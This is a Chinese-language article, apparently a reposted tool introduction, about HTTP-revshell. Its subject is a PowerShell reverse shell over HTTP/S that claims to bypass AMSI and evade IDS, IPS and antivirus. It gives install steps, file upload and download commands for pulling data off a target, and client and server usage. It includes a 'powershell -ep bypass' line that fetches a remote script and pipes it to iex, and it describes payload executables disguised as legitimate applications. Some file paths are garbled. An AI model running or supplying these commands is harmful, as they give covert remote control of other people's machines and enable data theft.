HTTP-revshell
HTTP-revshell是一个能够绕过AMSI的PowerShell代理感知型反向Shell，这款工具转为红队研究人员以及渗透测试人员设计，能够通过HTTP/S协议来给研究人员提供一个反向Shell链接。HTTP-revshell使用了一种隐蔽的数据信道，可以通过Web请求来获取目标设备的控制权，从而绕过类似IDS、IPS和AV之类的安全解决方案。
功能介绍
- SSL
- 代理感知
- 上传功能
- 下载功能
- 错误控制
- AMSI绕过
- 服务器端多会话支持
- PowerShell函数自动补全
工具安装
广大研究人员可以使用下列命令将该项目源码克隆至本地，并完成依赖组件的自动化安装：
代码语言：javascript复制git clone https://github.com/3v4Si0N/HTTP-revshell.git
cd HTTP-revshell/
pip3 install -r requirements.txt数据提取功能使用
上传：
代码语言：javascript复制upload /src/path/file C:destpathfile下载：
代码语言：javascript复制download C:srcpathfile /dst/path/file查看server.py帮助-服务器端使用
代码语言：javascript复制usage: server.py [-h] [--ssl] [--autocomplete] host port
Process some integers.
positional arguments:
host Listen Host
port Listen Port
optional arguments:
-h, --help show this help message and exit
--ssl Send traffic over ssl
--autocomplete Autocomplete powershell functions查看WebRev.ps1帮助-客户端使用
代码语言：javascript复制Import-Module .Invoke-WebRev.ps1
Invoke-WebRev -ip IP -port PORT [-ssl]工具使用-server-multisession.py（服务器端多会话支持）
服务器端支持同时与客户端建立多个链接，下面给出的菜单中包含三哥基础命令，即sessions、interact和exit：
代码语言：javascript复制- sessions --> 显示当前活动会话
- interact --> 与一个会话进行交互，比如说：interact <session_id>
- exit --> 关闭应用程序如需修改会话，可以按下CTRL D来退出当前会话，此时不会关闭原有会话。
Revshell-Generator.ps1-Payload自动生成器
这个脚本可以帮助我们创建一个带有Payload的可执行文件，这个文件是我们使用HTTP-revshell所必须的。工具提供了六个预定义的模板和一个支持自定义的模板。工具生成的Payload会伪装成合法应用程序的图标、产品信息和版权信息等等。除此之外，它们都会在与服务器建立连接之前打开原始的应用程序，并伪装成合法应用程序来执行。
Payload生成器使用：
代码语言：javascript复制powershell -ep bypass "iwr -useb https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/master/Revshell-Generator.ps1 | iex"工具使用样例
许可证协议
本项目的开发与发布遵循LGPLv3 开源许可证协议。
项目地址
HTTP-revshell：【GitHub传送门】
